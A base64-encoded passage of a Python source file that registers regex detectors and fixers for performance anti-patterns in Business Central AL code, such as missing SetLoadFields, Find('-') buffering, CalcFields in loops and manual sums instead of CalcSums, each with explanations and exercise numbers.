mlwcGV0KV0KIyAgIGZpeGVyICAgICAgIOKAlCBjYWxsYWJsZSh0ZXh0KSAtPiBzdHIgIChyZXR1cm5zIGZpeGVkIHRleHQpCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpQQVRURVJOUzogbGlzdFtkaWN0XSA9IFtdCgoKZGVmIF9yZWdpc3RlcihpZCwgZ3JvdXAsIHNldmVyaXR5LCB0aXRsZSwgZGVzY3JpcHRpb24sIGV4ZXJjaXNlcyk6CiAgICAiIiJEZWNvcmF0b3IgZmFjdG9yeSB0aGF0IHJlZ2lzdGVycyBhIHBhdHRlcm4gd2l0aCBpdHMgZGV0ZWN0b3IgYW5kIGZpeGVyLiIiIgogICAgZGVmIGRlY29yYXRvcihjbHMpOgogICAgICAgIFBBVFRFUk5TLmFwcGVuZCh7CiAgICAgICAgICAgICJpZCI6IGlkLAogICAgICAgICAgICAiZ3JvdXAiOiBncm91cCwKICAgICAgICAgICAgInNldmVyaXR5Ijogc2V2ZXJpdHksCiAgICAgICAgICAgICJ0aXRsZSI6IHRpdGxlLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiBkZXNjcmlwdGlvbiwKICAgICAgICAgICAgImV4ZXJjaXNlcyI6IGV4ZXJjaXNlcywKICAgICAgICAgICAgImRldGVjdG9yIjogY2xzLmRldGVjdCwKICAgICAgICAgICAgImZpeGVyIjogY2xzLmZpeCwKICAgICAgICB9KQogICAgICAgIHJldHVybiBjbHMKICAgIHJldHVybiBkZWNvcmF0b3IKCgpkZWYgX2ZpbmRfbGluZSh0ZXh0OiBzdHIsIGNoYXJfb2Zmc2V0OiBpbnQpIC0+IGludDoKICAgIHJldHVybiB0ZXh0WzpjaGFyX29mZnNldF0uY291bnQoJ1xuJykgKyAxCgoKZGVmIF9maW5kaW5ncyh0ZXh0OiBzdHIsIHBhdHRlcm46IHJlLlBhdHRlcm4sIG1lc3NhZ2VfZm49Tm9uZSkgLT4gbGlzdFtkaWN0XToKICAgIG91dCA9IFtdCiAgICBmb3IgbSBpbiBwYXR0ZXJuLmZpbmRpdGVyKHRleHQpOgogICAgICAgIGxpbmUgPSBfZmluZF9saW5lKHRleHQsIG0uc3RhcnQoKSkKICAgICAgICBzbmlwcGV0ID0gbS5ncm91cCgwKS5zdHJpcCgpWzoxMjBdCiAgICAgICAgb3V0LmFwcGVuZCh7ImxpbmUiOiBsaW5lLCAic25pcHBldCI6IHNuaXBwZXQsICJtZXNzYWdlIjogbWVzc2FnZV9mbihtKSBpZiBtZXNzYWdlX2ZuIGVsc2UgIiJ9KQogICAgcmV0dXJuIG91dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAwMSDigJQgTWlzc2luZyBTZXRMb2FkRmllbGRzIGJlZm9yZSBGaW5kU2V0IC8gRmluZAojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9Ik1JU1NJTkdfU0VUTE9BREZJRUxEUyIsCiAgICBncm91cD0iRGF0YSBUcmFuc2ZlciIsCiAgICBzZXZlcml0eT0iSElHSCIsCiAgICB0aXRsZT0iRmluZFNldC9GaW5kIHdpdGhvdXQgU2V0TG9hZEZpZWxkcyIsCiAgICBkZXNjcmlwdGlvbj0oJ0N1c3RvbWVyLkZpbmRTZXQoKSB3aXRob3V0IFNldExvYWRGaWVsZHMgZ2VuZXJhdGVzIGEgU0VMRUNUIHdpdGggQUxMIDEwMCsgZmllbGRzIOKAlCBpbmNsdWRpbmcgZXZlcnkgdGFibGUgZXh0ZW5zaW9uIGNvbHVtbiBqb2luZWQgaW4uIE9uIGVhY2ggcm93LCB0aGUgTlNUIGRlc2VyaWFsaXNlcyBhIG1hc3NpdmUgYnVmZmVyIGl0IGRvZXNuXCd0IG5lZWQuXG5cblNRTCBJTVBBQ1Q6IFNFTEVDVCBcXCIxOFxcIi5cXCJ0aW1lc3RhbXBcXCIsXFwiMThcXCIuXFwiTm9fXFwiLFxcIjE4XFwiLlxcIk5hbWVcXCIuLi4gKGFsbCAxMDArIGNvbHVtbnMpICsgSk9JTiBleHRlbnNpb24gdGFibGVzLlxuV2l0aCAxMCAwMDAgY3VzdG9tZXJzIHRoYXRcJ3MgZ2lnYWJ5dGVzIG9mIG5lZWRsZXNzbHkgdHJhbnNmZXJyZWQgZGF0YS5cblxuQkFEOiAgaWYgQ3VzdG9tZXIuRmluZFNldCgpIHRoZW5cbkdPT0Q6IEN1c3RvbWVyLlNldExvYWRGaWVsZHMoXFwiTm8uXFwiLCBOYW1lLCBcXCJDcmVkaXQgTGltaXQgKExDWSlcXCIpO1xuICAgICAgaWYgQ3VzdG9tZXIuRmluZFNldCgpIHRoZW5cblxuSElOVDogTG9vayBhdCB0aGUgU0VMRUNUIGluIFNRTCBQcm9maWxlci4gQ291bnQgaG93IG1hbnkgY29sdW1ucyBhcmUgZmV0Y2hlZC4gVGhlbiBhZGQgU2V0TG9hZEZpZWxkcyBhbmQgY29tcGFyZS4nKSwKICAgIGV4ZXJjaXNlcz1bMSwgMiwgMzNdLAopCmNsYXNzIFBhdHRlcm5NaXNzaW5nU2V0TG9hZEZpZWxkczoKICAgICMgRGV0ZWN0OiBGaW5kU2V0L0ZpbmQgb24gYSByZWNvcmQgdmFyaWFibGUgTk9UIGltbWVkaWF0ZWx5IHByZWNlZGVkICh3aXRoaW4gMyBsaW5lcykgYnkgU2V0TG9hZEZpZWxkcwogICAgX0ZJTkQgPSByZS5jb21waWxlKHInKFx3KylcLihGaW5kU2V0fEZpbmRGaXJzdHxGaW5kTGFzdHxGaW5kXCgpJywgcmUuTVVMVElMSU5FKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgZm9yIGksIGxpbmUgaW4gZW51bWVyYXRlKGxpbmVzKToKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJyhcdyspXC4oRmluZFNldHxGaW5kRmlyc3R8RmluZExhc3R8RmluZFwoKScsIGxpbmUpCiAgICAgICAgICAgIGlmIG5vdCBtOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgdmFyID0gbS5ncm91cCgxKQogICAgICAgICAgICBpZiB2YXIubG93ZXIoKSBpbiAoJ3RydWUnLCAnZmFsc2UnLCAncmVzdWx0JywgJ3JlYycpOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgIyBDaGVjayAzIGxpbmVzIGFib3ZlIGZvciBTZXRMb2FkRmllbGRzIG9uIHNhbWUgdmFyCiAgICAgICAgICAgIGNvbnRleHQgPSAnXG4nLmpvaW4obGluZXNbbWF4KDAsIGktMyk6aV0pCiAgICAgICAgICAgIGlmIGYne3Zhcn0uU2V0TG9hZEZpZWxkcycgbm90IGluIGNvbnRleHQgYW5kIGYne3Zhcn0uU2V0QXV0b0NhbGNGaWVsZHMnIG5vdCBpbiBjb250ZXh0OgogICAgICAgICAgICAgICAgIyBFeGNsdWRlIGlmIGluIGEgY29tbWVudAogICAgICAgICAgICAgICAgc3RyaXBwZWQgPSBsaW5lLnN0cmlwKCkKICAgICAgICAgICAgICAgIGlmIHN0cmlwcGVkLnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgImxpbmUiOiBpICsgMSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6IGYiJ3t2YXJ9LnttLmdyb3VwKDIpfScgY2FsbGVkIHdpdGhvdXQgU2V0TG9hZEZpZWxkcyIKICAgICAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICAjIFRoaXMgcGF0dGVybiByZXF1aXJlcyBjb250ZXh0LXNwZWNpZmljIGZpeGVzICh3aGljaCBmaWVsZHMgdG8gbG9hZCkKICAgICAgICAjIFdlIGFubm90YXRlIHJhdGhlciB0aGFuIGJsaW5kbHkgZml4CiAgICAgICAgcmV0dXJuIHRleHQKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMDIg4oCUIEZpbmQoJy0nKSBidWZmZXItc2l6ZS0xIGFudGktcGF0dGVybgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkZJTkRfREFTSF9CVUZGRVJfT05FIiwKICAgIGdyb3VwPSJEYXRhIFRyYW5zZmVyIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJGaW5kKCctJykgd2l0aCBidWZmZXIgc2l6ZSAxICh1c2UgRmluZFNldCBpbnN0ZWFkKSIsCiAgICBkZXNjcmlwdGlvbj0oIkZpbmQoJy0nKSBwcmUtZmV0Y2hlcyBvbmx5IDEgcmVjb3JkIGF0IGEgdGltZSAocmVhZCBidWZmZXIgPSAxKS4gRWFjaCBjYWxsIHRvIE5leHQoKSBmaXJlcyBhIG5ldyBTUUwgcXVlcnk6IFNFTEVDVCBUT1AgNTAgLi4uXG5Gb3IgMSAwMDAgZW50cmllcyB0aGF0IGlzIDIwIHJvdW5kLXRyaXBzIGluc3RlYWQgb2YgMSB3aXRoIEZpbmRTZXQuIEZpbmQoJy0nKSBhbHNvIGlnbm9yZXMgYW55IHByZXZpb3VzIFNldEN1cnJlbnRLZXkgY2FsbC5cblxuU1FMIElNUEFDVDogU0VMRUNUIFRPUCA1MCAuLi4gKHJlcGVhdGVkIHBlciBOZXh0KCkgYmF0Y2gpXG52cyBGaW5kU2V0OiBzaW5nbGUgU0VMRUNUIHRoYXQgcHJlLWZldGNoZXMgcm93cyBlZmZpY2llbnRseS5cblxuQkFEOiAgaWYgUmVjb3JkLkZpbmQoJy0nKSB0aGVuIHJlcGVhdCAuLi4gdW50aWwgUmVjb3JkLk5leHQoKSA9IDA7XG5HT09EOiBpZiBSZWNvcmQuRmluZFNldCgpIHRoZW4gcmVwZWF0IC4uLiB1bnRpbCBSZWNvcmQuTmV4dCgpID0gMDtcblxuSElOVDogQ29tcGFyZSB0aGUgbnVtYmVyIG9mIFNRTCBxdWVyaWVzIGZvciBGaW5kKCctJykgdnMgRmluZFNldCBvbiAxIDAwMCByb3dzLiBDaGVjayB0aGUgUmVhZHMgY29sdW1uIGluIFByb2ZpbGVyLiIpLAogICAgZXhlcmNpc2VzPVsyLCAyNF0sCikKY2xhc3MgUGF0dGVybkZpbmREYXNoOgogICAgX1JFID0gcmUuY29tcGlsZShyIihcdyspXC5GaW5kXCgnLSdcKSIsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKHRleHQsIFBhdHRlcm5GaW5kRGFzaC5fUkUsCiAgICAgICAgICAgICAgICAgICAgICAgICBsYW1iZGEgbTogZiJVc2UgRmluZFNldCgpIGluc3RlYWQgb2Yge20uZ3JvdXAoMSl9LkZpbmQoJy0nKSIpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gUGF0dGVybkZpbmREYXNoLl9SRS5zdWIobGFtYmRhIG06IGYie20uZ3JvdXAoMSl9LkZpbmRTZXQoKSIsIHRleHQpCgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDAzIOKAlCBDYWxjRmllbGRzIGluc2lkZSBhIGxvb3AKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJDQUxDRklFTERTX0lOX0xPT1AiLAogICAgZ3JvdXA9IkZsb3dGaWVsZHMiLAogICAgc2V2ZXJpdHk9IkhJR0giLAogICAgdGl0bGU9IkNhbGNGaWVsZHMgaW5zaWRlIGEgcmVwZWF0Li51bnRpbCBsb29wIiwKICAgIGRlc2NyaXB0aW9uPSgnQ2FsbGluZyBDYWxjRmllbGRzKEJhbGFuY2UpIGluc2lkZSBhIEZpbmRTZXQgbG9vcCBmaXJlcyBvbmUgZXh0cmEgU1FMIHN1Yi1xdWVyeSBwZXIgaXRlcmF0aW9uIHRvIGNvbXB1dGUgdGhlIEZsb3dGaWVsZCBhZ2dyZWdhdGUuIEZvciA1MDAgdmVuZG9ycyB0aGF0IGlzIDUwMCBleHRyYSBTUUwgcm91bmQtdHJpcHMganVzdCBmb3IgQmFsYW5jZS4gU2V0QXV0b0NhbGNGaWVsZHMgbWVyZ2VzIHRoZSBGbG93RmllbGQgaW50byB0aGUgbWFpbiBTRUxFQ1QuXG5cblNRTCBJTVBBQ1Q6IFBlciByb3c6IFNFTEVDVCBTVU0oLi4uKSBGUk9NIFxcIkRldGFpbGVkIFZlbmRvciBMZWRnLiBFbnRyeVxcIiAuLi4gPSBOIGFkZGl0aW9uYWwgcXVlcmllcyBpbnNpZGUgdGhlIGxvb3AuXG5cbkJBRDogIHJlcGVhdCBDdXN0b21lci5DYWxjRmllbGRzKEJhbGFuY2UpOyB1bnRpbCBDdXN0b21lci5OZXh0KCkgPSAwO1xuR09PRDogQ3VzdG9tZXIuU2V0QXV0b0NhbGNGaWVsZHMoQmFsYW5jZSk7XG4gICAgICBpZiBDdXN0b21lci5GaW5kU2V0KCkgdGhlbiByZXBlYXQgLi4uIHVudGlsIEN1c3RvbWVyLk5leHQoKSA9IDA7XG5cbkhJTlQ6IENvdW50IHRoZSBleHRyYSBTUUwgcXVlcmllcyBwZXIgbG9vcCBpdGVyYXRpb24gd2l0aCBDYWxjRmllbGRzIHZzIEF1dG9DYWxjRmllbGRzLiBEdXJhdGlvbiBkaWZmZXJlbmNlIGdyb3dzIHdpdGggcmVjb3JkIGNvdW50LicpLAogICAgZXhlcmNpc2VzPVszXSwKKQpjbGFzcyBQYXR0ZXJuQ2FsY0ZpZWxkc0luTG9vcDoKICAgIF9SRSA9IHJlLmNvbXBpbGUocideXHMrXHcrXC5DYWxjRmllbGRzXChbXildK1wpOycsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgIGRlcHRoID0gMAogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIHN0cmlwcGVkID0gbGluZS5zdHJpcCgpCiAgICAgICAgICAgIGlmIHN0cmlwcGVkLmxvd2VyKCkgPT0gJ3JlcGVhdCc6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gVHJ1ZQogICAgICAgICAgICAgICAgZGVwdGggKz0gMQogICAgICAgICAgICBpZiByZS5tYXRjaChyJ3VudGlsXHMrXHcrXC5OZXh0XChcKScsIHN0cmlwcGVkLCByZS5JR05PUkVDQVNFKToKICAgICAgICAgICAgICAgIGRlcHRoIC09IDEKICAgICAgICAgICAgICAgIGlmIGRlcHRoIDw9IDA6CiAgICAgICAgICAgICAgICAgICAgaW5fbG9vcCA9IEZhbHNlCiAgICAgICAgICAgIGlmIGluX2xvb3AgYW5kIHJlLnNlYXJjaChyJ1x3K1wuQ2FsY0ZpZWxkc1woJywgbGluZSk6CiAgICAgICAgICAgICAgICBpZiBub3Qgc3RyaXBwZWQuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICAgICAibGluZSI6IGkgKyAxLAogICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiAiQ2FsY0ZpZWxkcygpIGluc2lkZSBsb29wIOKAlCB1c2UgU2V0QXV0b0NhbGNGaWVsZHMoKSBiZWZvcmUgRmluZFNldCgpIgogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dCAgIyBDb250ZXh0LXNwZWNpZmljOyBuZWVkcyB0aGUgdmFyaWFibGUgbmFtZQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAwNCDigJQgUmVjb3JkIHBhcmFtZXRlciBwYXNzZWQgYnkgdmFsdWUgKG1pc3NpbmcgdmFyKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IlJFQ09SRF9CWV9WQUxVRSIsCiAgICBncm91cD0iTWVtb3J5IC8gQ29waWVzIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IlJlY29yZCBwYXJhbWV0ZXIgcGFzc2VkIGJ5IHZhbHVlIGluc3RlYWQgb2YgdmFyIiwKICAgIGRlc2NyaXB0aW9uPSgnV2l0aG91dCBWQVIsIEFMIGNvcGllcyB0aGUgZW50aXJlIFJlY29yZCBpbnN0YW5jZSBpbnRvIGEgbmV3IG1lbW9yeSBibG9jazogYWxsIGZpZWxkIHZhbHVlcywgZmlsdGVyIHN0YXRlLCBjdXJzb3IgcG9zaXRpb24uIExhcmdlIHJlY29yZHMgKEN1c3RvbWVyLCBJdGVtKSBjb3BpZWQgb24gZXZlcnkgY2FsbC4gV2l0aCBtYW55IG5lc3RlZCBjYWxscyB0aGlzIGNhdXNlcyBzaWduaWZpY2FudCBHQyBwcmVzc3VyZSBvbiBOU1QuXG5cblNRTCBJTVBBQ1Q6IE5vIFNRTCBjaGFuZ2Ug4oCUIG92ZXJoZWFkIGlzIGluIE5TVCBtZW1vcnkgYWxsb2NhdGlvbiAmIGNvcHkuXG5cbkJBRDogIGxvY2FsIHByb2NlZHVyZSBGb28oQ3VzdG9tZXI6IFJlY29yZCBDdXN0b21lcilcbkdPT0Q6IGxvY2FsIHByb2NlZHVyZSBGb28odmFyIEN1c3RvbWVyOiBSZWNvcmQgQ3VzdG9tZXIpXG5cbkhJTlQ6IE5vIFNRTCBkaWZmZXJlbmNlIOKAlCBtZWFzdXJlIE5TVCB0aHJvdWdocHV0IGFuZCBhbGxvY2F0aW9uIGNvdW50ZXJzLicpLAogICAgZXhlcmNpc2VzPVs0XSwKKQpjbGFzcyBQYXR0ZXJuUmVjb3JkQnlWYWx1ZToKICAgIF9SRSA9IHJlLmNvbXBpbGUoCiAgICAgICAgcicobG9jYWxccytwcm9jZWR1cmV8cHJvY2VkdXJlKVxzK1x3K1woKD86W14pXSosXHMqKT8oXHcrKTpccypSZWNvcmRccytbXjspXStcKScsCiAgICAgICAgcmUuTVVMVElMSU5FCiAgICApCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGZvciBtIGluIFBhdHRlcm5SZWNvcmRCeVZhbHVlLl9SRS5maW5kaXRlcih0ZXh0KToKICAgICAgICAgICAgbGluZV90ZXh0ID0gdGV4dFttYXgoMCwgbS5zdGFydCgpLTIwMCk6bS5lbmQoKV0KICAgICAgICAgICAgaWYgJyh2YXIgJyBpbiBtLmdyb3VwKDApIG9yIHJlLnNlYXJjaChyJ1xidmFyXHMrXHcrOlxzKlJlY29yZCcsIG0uZ3JvdXAoMCkpOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgaWYgbS5ncm91cCgyKSA9PSAndmFyJzoKICAgICAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgICAgIGxpbmUgPSBfZmluZF9saW5lKHRleHQsIG0uc3RhcnQoKSkKICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICJsaW5lIjogbGluZSwKICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbS5ncm91cCgwKVs6MTIwXSwKICAgICAgICAgICAgICAgICJtZXNzYWdlIjogIlJlY29yZCBwYXJhbWV0ZXIgd2l0aG91dCAndmFyJyDigJQgY3JlYXRlcyBhIGZ1bGwgY29weSBvbiBlYWNoIGNhbGwiCiAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAwNSDigJQgTG9vcCBzdW0gaW5zdGVhZCBvZiBDYWxjU3VtcwojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkxPT1BfU1VNX1ZTX0NBTENTVU1TIiwKICAgIGdyb3VwPSJBZ2dyZWdhdGlvbiIsCiAgICBzZXZlcml0eT0iSElHSCIsCiAgICB0aXRsZT0iTWFudWFsIHN1bW1hdGlvbiBsb29wIGluc3RlYWQgb2YgQ2FsY1N1bXMiLAogICAgZGVzY3JpcHRpb249KCdTdW1taW5nIGEgZmllbGQgYnkgaXRlcmF0aW5nIGFsbCByb3dzIGluIEFMOiBmZXRjaGVzIGV2ZXJ5IHJvdyBmcm9tIFNRTCwgZGVzZXJpYWxpc2VzIGl0IGluIE5TVCwgYWNjdW11bGF0ZXMgaW4gYSBsb2NhbCB2YXJpYWJsZS4gQ2FsY1N1bXMoQW1vdW50KSB0cmFuc2xhdGVzIHRvIGEgU1FMIFNVTSgpIGFnZ3JlZ2F0ZSDigJQgY29tcHV0ZWQgYXQgdGhlIGRhdGFiYXNlLCByZXR1cm5zIGEgc2luZ2xlIHJvdy5cblxuU1FMIElNUEFDVDogTWFudWFsIGxvb3A6IFNFTEVDVCBhbGwgcm93cywgcHJvY2VzcyBOIHJvd3MgaW4gTlNUXG5DYWxjU3VtczogICAgU0VMRUNUIFNVTShcXCJBbW91bnRcXCIpIC4uLiDigJQgcmV0dXJucyAxIHJvdy5cblxuQkFEOiAgcmVwZWF0IFRvdGFsICs9IFJlY29yZC5BbW91bnQ7IHVudGlsIFJlY29yZC5OZXh0KCkgPSAwO1xuR09PRDogUmVjb3JkLkNhbGNTdW1zKEFtb3VudCk7IFRvdGFsIDo9IFJlY29yZC5BbW91bnQ7XG5cbkhJTlQ6IENhbGNTdW1zIHJlc3VsdDogMSBTUUwgcm93IHJldHVybmVkLiBMb29wIHJlc3VsdDogTiBTUUwgcm93cyBmZXRjaGVkIGFuZCBzdW1tZWQuIENoZWNrIFJlYWRzOiBDYWxjU3VtcyA9IDEsIGxvb3AgPSBOLicpLAogICAgZXhlcmNpc2VzPVs1XSwKKQpjbGFzcyBQYXR0ZXJuTG9vcFN1bToKICAgIF9SRSA9IHJlLmNvbXBpbGUocicoXHcrKVxzKlwrPVxzKlx3K1wuXHcrOycsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIHN0cmlwcGVkID0gbGluZS5zdHJpcCgpCiAgICAgICAgICAgIGlmIHN0cmlwcGVkLmxvd2VyKCkgPT0gJ3JlcGVhdCc6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gVHJ1ZQogICAgICAgICAgICBpZiByZS5tYXRjaChyJ3VudGlsXHMrXHcrXC5OZXh0XChcKScsIHN0cmlwcGVkLCByZS5JR05PUkVDQVNFKToKICAgICAgICAgICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgICAgICBpZiBpbl9sb29wIGFuZCBQYXR0ZXJuTG